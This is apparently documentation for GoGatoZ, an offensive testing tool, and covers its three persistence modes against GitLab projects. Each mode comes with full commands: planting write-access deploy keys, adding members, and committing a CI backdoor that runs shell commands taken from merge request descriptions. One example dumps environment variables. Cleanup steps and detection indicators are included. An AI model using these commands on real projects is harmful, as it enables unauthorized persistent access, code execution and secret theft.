Persistence Command
The attack command includes persistence modes for establishing long-term access to GitLab projects. These techniques survive credential rotation and provide alternative access paths. Use only with explicit authorization.
Warning: Persistence techniques are for authorized security testing only.
GoGatoZ supports three persistence mechanisms, each activated as an attack mode:
| Mode | Flag | Description |
|---|---|---|
| Deploy Key | --deploy-key |
Generate an RSA keypair and register a write-access deploy key on the project |
| Member Addition | --add-member |
Add a user as a project member with a specified access level |
| MR Pwn Request | --commit-ci --payload pwn-request |
Commit a CI config that triggers on merge request events |
Each mode also has corresponding cleanup flags under --cleanup.
Deploy Key
Section titled “Deploy Key”Generates a 2048-bit RSA keypair, saves the private key locally, and adds the public key to the target project as a deploy key with push (write) access.
Options
Section titled “Options”--deploy-key: Enable deploy key creation mode--key-titlestring: Title for the deploy key (default: “GoGatoZ Deploy Key”)--key-pathstring: Path to save the generated private key (required)--targetstring: Project ID or path-with-namespace
Example
Section titled “Example”# Create a deploy key with write accessgogatoz attack --target group/project --deploy-key \ --key-path ./deploy_key --key-title "CI/CD Integration"Output:
Deploy key created (ID: 42)Public key: ssh-rsa AAAAB3Nza...Private key saved to: ./deploy_keyWith --output-json:
{ "deploy_key_id": 42, "public_key": "ssh-rsa AAAAB3Nza...", "private_key_path": "./deploy_key"}Using the deploy key
Section titled “Using the deploy key”Once created, the deploy key provides Git access independent of any user token:
# Clone using the deploy keyGIT_SSH_COMMAND="ssh -i ./deploy_key -o StrictHostKeyChecking=no" \ git clone git@gitlab.local:group/project.git
# Push changes (deploy key has write access)GIT_SSH_COMMAND="ssh -i ./deploy_key" git push origin mainCleanup
Section titled “Cleanup”gogatoz attack --target group/project --cleanup --revoke-deploy-key 42Member Addition
Section titled “Member Addition”Adds a user as a project member by resolving their username via the GitLab Users API. The access level determines the user’s permissions on the project.
Options
Section titled “Options”--add-member: Enable member addition mode--member-usernamestring: GitLab username to add (required)--member-rolestring: Access level —guest,reporter,developer(default),maintainer--targetstring: Project ID or path-with-namespace
Example
Section titled “Example”# Add a user as developer (default)gogatoz attack --target group/project --add-member --member-username jdoe
# Add a user as maintainer for elevated accessgogatoz attack --target group/project --add-member \ --member-username jdoe --member-role maintainerOutput:
Added jdoe as developer to projectAccess level reference
Section titled “Access level reference”| Level | Capabilities |
|---|---|
guest |
View issues and wiki |
reporter |
Pull code, view CI/CD |
developer |
Push to non-protected branches, create MRs, trigger pipelines |
maintainer |
Push to protected branches, manage project settings, add members |
Cleanup
Section titled “Cleanup”# Remove member by user ID (find via GitLab API or project settings)gogatoz attack --target group/project --cleanup --remove-member-id 15MR Pwn Request
Section titled “MR Pwn Request”Commits a .gitlab-ci.yml that triggers on merge_request_event and executes commands extracted from the MR description. This establishes a persistent backdoor that activates whenever a merge request is created or updated.
How it works
Section titled “How it works”- GoGatoZ commits a CI config with a job that triggers on
merge_request_event - The job reads the MR description and extracts lines prefixed with
CMD: - It executes the extracted command via
bash -lc - Optionally uploads output as an artifact
Options
Section titled “Options”Uses the standard --commit-ci --payload pwn-request path:
--payload pwn-request: Select the MR pwn request payload--target-branch-regexstring: Regex to restrict which target branches trigger the job--job-namestring: Custom job name (default: “pwn-request”)--tagsstring: Runner tags to target self-hosted runners--artifacts-pathstring: Path to upload as artifact--branchstring: Branch to commit the CI config to
Example
Section titled “Example”# Commit a pwn-request CI configgogatoz attack --commit-ci --target group/project \ --payload pwn-request --tags shell_executor \ --branch feature/ci-checks --deconflict suffixTo trigger execution, create an MR with a description containing:
CMD: env | sort > /tmp/env_dump.txtPayload-only rendering
Section titled “Payload-only rendering”Generate the CI YAML without committing:
gogatoz attack --payload pwn-request --payload-only \ --tags shell_executor --target-branch-regex '^main$'Cleanup
Section titled “Cleanup”# Remove the CI file and branchgogatoz attack --target group/project --cleanup \ --cleanup-ci --branch feature/ci-checks \ --cleanup-branch feature/ci-checksCombined Cleanup
Section titled “Combined Cleanup”Multiple cleanup actions can be combined in a single command:
gogatoz attack --target group/project --cleanup \ --revoke-deploy-key 42 \ --remove-member-id 15 \ --cleanup-branch feature/ci-checks \ --cleanup-ci --branch feature/ci-checksOutput:
[ok] revoke-deploy-key 42[ok] remove-member 15[ok] delete-branch feature/ci-checks[ok] delete-ci-file feature/ci-checksWith --output-json, returns a structured array of action results.
Detection Indicators
Section titled “Detection Indicators”When testing persistence detection capabilities, watch for:
| Technique | Detection Signal |
|---|---|
| Deploy Key | New deploy key in project settings, audit_events API |
| Member Addition | New member in project members, audit_events API |
| MR Pwn Request | Modified .gitlab-ci.yml with merge_request_event trigger, suspicious script content |
See Also
Section titled “See Also”- Attack Command for full attack options
- Post-Compromise for enumeration after gaining access
- Persistence Use Cases for end-to-end attack scenarios